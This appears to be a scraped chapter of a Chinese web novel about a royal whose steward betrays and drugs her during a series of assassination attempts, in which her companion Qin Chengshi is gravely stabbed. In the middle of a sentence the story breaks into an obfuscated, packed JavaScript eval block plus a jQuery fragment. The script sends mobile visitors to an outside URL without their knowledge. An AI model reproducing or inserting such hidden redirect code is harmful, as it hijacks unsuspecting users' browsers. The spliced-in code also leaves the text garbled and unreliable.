秦承时的一句话仿若提醒了傅缨,怎么会这般凑巧,自己才调离他二人,秘卷库便突然出事,解庄主前脚被调离山庄,后面府上的防卫便削弱了。
如今看来,敌人这是先下手为强了。
“本王得速去找到灼华和顷风,觅得你听我说……”傅缨拉着秦承时一边朝外走去,一边朝空中散去了信号。
“是出事了吗,会不会是山庄出了叛徒。”秦承时也反应了过来。
“多半是了,觅得你听我说,灼华他们昨天才被我支走了,如今山庄防御薄弱,正是入侵的最好时机,你再待下去不安全,我让影卫即刻带你离开,迟一分钟都是危险。”
“那你呢?”
“他们的目标是我,我若也离开,咱们谁都会有危险。”傅缨说着便朝暗处的影卫道:“还不出来带着你的主子赶紧逃?”
不一会儿便从角落出来了一个人。
“护好你主子。”
“小五,你也要注意安全,我去搬救兵来。”秦承时有些担忧道。
“切记小心。”那人扔下一句话,便拉着秦承时立刻消失了。
没了软肋,傅缨霎时松了口气。
不远处的茶铺里,灼华与顷风瞧见空中的信号,心中纷纷一惊。
“哥,王爷出事了。”灼华有些担忧,昨日王爷让他们出来,本是想集结一队亲信埋伏在附近。
“众人听□□提前,都随我速去救王爷。”
“是。”茶铺之内,众多乔装打扮的人纷纷应声道,拿着武器随顷风冲了出去。
风雨欲来,黑影成压,傅缨独自坐在院内喝着闲茶,感受着周遭的变化并未惊讶。
“阁下既然来了,何不坐下喝杯茶?”说罢便一掌推翻茶桌,一把佩剑从而显露出来。
突袭之人扑了个空,傅缨抽出剑来,将手中的茶杯顺势砸了出去,击落了房顶的一人。
“哼,既然发现了我们,那便准备受死吧。”
“只怕本王这条命,尔等今日没这个命拿下。”傅缨随即同那几人纠缠起来了,从院中打斗到了隔壁花园,不过一会儿,灼华与倾风便带着人支援来了。
“王爷,属下来迟了。”
“少废话,速速拿下。”傅缨流了些许冷汗不知是不是怀孕的缘故,总觉得今日交手下来,没过几招便累得不行。
一番缠斗下来,傅缨等人很快将对方击退。
“想必为首的便是头目了。”
“王爷,属下这就去将那贼子捉回来。”顷风说着便追了出去。
就当众人放松之际,又来了一群蒙面之人。
“怎么会来这么多人?”就连傅缨都有些震惊了,怎得刚击退第一波刺客又来了一波。
纠缠中几人渐渐分散开来,傅缨击退追杀的几人后,远远瞅见山庄管家匆匆跑了过去,连忙示意其发信号叫人来。
“愣着做甚,还不速去叫人?”
不过一会儿,傅缨便感觉到了异样,那管家并没有理会自己的话,身后也并无其他府兵。
“你这是做什么?”傅缨还想责骂几句,身子却一阵酥麻,不一会儿便有些瘫软起来。
“你、你对本王做了什么?”傅缨将想要溜走的那人拦了下来。
“算算时辰也该起效果了,王爷恕罪,小的也是被人逼迫,不过王爷放心,小的只是先前给你喝了些让人丧失力气的东西,对你并无恶意,冤有头债有主,还望九泉之下,莫要来寻小的麻烦。”那管家似乎有些失心疯了,嘴里一直念叨着莫名其妙的话。
傅缨知晓自己遭到了背叛,连忙挑断了那人的手筋。
“啊~”管家的连忙疼的直在地上打滚。
“这便是背叛本王的下场。”傅缨怒气上头,还想动手,那人却连忙屁滚尿流的逃离了。
傅缨撑着渐渐无力的身子和武器,想去找其他人汇合。
“管家被收买了,他趁解庄主不在调走了其他府兵,切记小心。”见到灼华朝自己赶来,傅缨再三交代道
“王爷、王爷您伤势如何?”
“不碍事,不过有些无力,休息片刻就好了,那老贼被我挑断了手筋,定跑不远,速去活捉此人,本王要亲自审讯。”
“你们留下来看顾着王爷,你二人随我一同去追人。”灼华吩咐完便追了出去。
傅缨好不容易喘了口气,紧接着又来了一波人。
“还来?”傅缨心中忍不住骂了几句,奈何身上实在使不出力气,只能勉强抵挡一二。
“王爷请速速离开,这便交给臣了。”影卫及时出现,替她挡下了攻击。
“好。”傅缨见状,连忙识趣的拖着乏力的身子逃走了,不知走了多远,傅缨连忙跑进了一间空的房屋,恰巧秦承时此刻正紧张的躲在屋内柜子里面。
“谁?”感知到屋内有其他气息,傅缨立刻警觉起来。
“是我。”秦承时立马打开了柜子。
“你怎么回来了?”傅缨有些责备的问道。
“我看到那个鬼鬼祟祟的管家了,实在放心不下你们,于是跟着他后面回来了,本想给你们通风报信,奈何没有机会。”秦承时解释着,傅缨没了力气,他便撑着对方。
“原来如此,影卫呢,他人呢,怎么没护着你。”
“小五莫要着急,我躲在这里很安全,来之前让影卫去助你了。”
“抱歉、抱歉……”傅缨有些意识涣散了,一时间都忘了方才影卫救了自己一命。
“撑住小五,在赶回来之前我已经派人去报官了,这两波的刺客明显不是同一人指使了,已经超过了我们预计的范围,收网一事只能暂且作罢了。”
“知道了。”傅缨已经有些疲惫了。
“快搜,人肯定就在附近。”门外响起了声响,屋内两人都紧张起来。
“不好。”随着有人破门而入,傅缨心中一阵慌张,情急之下只好拉着秦承时冲了出去。
刺客来的突然,头一波将顷风和顷风引走了,第二波又将影卫引走了,这第三波的更是来势汹汹,加之傅缨中了软筋散浑身使不上劲,秦承时搀扶着他四处寻找避身处。
不知逃了多久。
直到一道刺眼的锋芒袭来,傅缨想要迎上去却被秦承时紧紧抱在怀里,一声轻闷从头顶传来,血渍浸透了傅缨身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199414|142966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的衣衫,一把利刃刺穿了秦承时的腹部,官兵赶到,刺客大多退散去了。
“觅得,觅得?”傅缨紧紧抱着秦承时的身体,捂着他的伤口。
“小、小五、不哭、不、不哭。”话音刚落,他便垂下了眼眸,傅缨发了疯似的,一遍遍唤着他的名字。
已是傍晚,秦承时被送回了房间由山庄里的郎中暂为照看,上家冢名医集聚,傅缨提着剑敲开了附近一家又一家医药铺子,将七、八个医师请了过来。
带头看诊的是为年过花甲的老者,诊了脉后先是开了补血的药方子,又是开了消炎的药方子,随机几个人讨论开来。
“王爷,请恕我等无能,剑刃捅的太深又危及内脏,如今这位公子危在旦夕,我等并没有十足的把握能够救活他。”
“无论如何一定要救他。”众人被傅缨的反应吓了一大跳,外界皆道英王殿下待人和善,举止最为得体,如今看来传闻也不得全信罢。
熬过了傍晚,床上的人儿也退了烧,却迟迟未见苏醒的痕迹,傅缨越发失了耐心。
“王爷稍安勿躁,熬过了昨晚便无性命之忧,只是老朽有一实话不得不说,这位公子天生体弱,经此一遭已是伤了根本,恐怕阳寿大减,时日不多了。”
“什么意思?你把话都给本王说清楚。”傅缨有些红了眼,语气十分生冷,好似要将人吞噬掉。
“王、王爷,师父的意思是,这位公子虽性命无忧,但经此一遭后身体更是亏虚,即便痊愈后,恐怕阳寿也不多了,多则十年二十年,少则三年五年的,都是不好说的。”一位年轻的小子见自家老师吓的说不上来话便抢先答了。
傅缨望向床上的人儿,心痛到窒息,他的面容比从前更加白了,身形也更清瘦了些,他的呼吸是那么微弱,甚至好几次都快要消失了般,他才十七岁,从未做过任何伤天害理之事,对待世间万物皆以心交之,如此纯真美好的人,为何上天要对他如此残忍?为何不把所有报应都应在她的身上?
“全力救治,本王要他活着。”傅缨无力的再次嘱托着。
此次秦承时受伤已经昏迷三天有余,影卫自责不已寸步不离的守在门口,若非傅缨阻止恐怕他早已以身殉职了,灼华奉命调查刺客一事,根据几个余孽的身份断定,三波刺客分属于三方势力,且都与三个王府相关。
所以,竟是这世上与她有血缘的亲人最想取她性命?尽管早就做好了心理准备,傅缨仍是一阵心痛后怕。
“伤觅得者出自哪里?”
“贤王府。”
“他动了觅得,最该死。”傅缨眼睛似猝了毒般,将刻有贤王小像的木牌徒手捏断了。
行差踏错便满盘皆输,从前她以为只要小心翼翼走好每一步便可以庇佑到所有在乎的人,她并非天生冷血和贪权恋势之徒,面对亲情也曾有过渴望,也曾幻想过兄友弟恭,也曾设想过就平平淡淡、安安稳稳地度过此生,可偏生他们不如她愿。
“我将手中紧握着的刀刃挥向所有的进犯者,唯有他们的鲜血才能平复怒焰,我要让他们知道,伤觅得者、欺觅得者都会付出惨痛的代价。”傅缨双眸猩红,心中立下了誓言。